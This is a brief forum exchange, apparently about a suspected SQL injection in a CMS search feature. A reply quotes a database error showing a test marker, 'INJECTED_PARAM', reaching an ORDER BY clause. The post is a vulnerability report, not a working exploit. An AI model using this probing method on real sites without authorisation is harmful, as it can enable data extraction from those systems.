#30749 esclkm:

but where was injection??? this field has ALP filter - which filter only [A-Za-z0-z_] try to inject

 

Added 2 minutes later:

Well the search is vulnerable. Try it by yourself.

Maybe it's not exploitable but it could lead to information extraction.

Take a look at 

#0  cot_diefatal(SQL error 42S22: Column not found: 1054 Unknown column 'ft_updatedINJECTED_PARAMINJECTED_PARAM' in 'order clause')

And

GROUP BY t.ft_id ORDER BY ft_updatedINJECTED_PARAMINJECTED_PARAM ASC

It looks like sql injection to me.

No problem man.
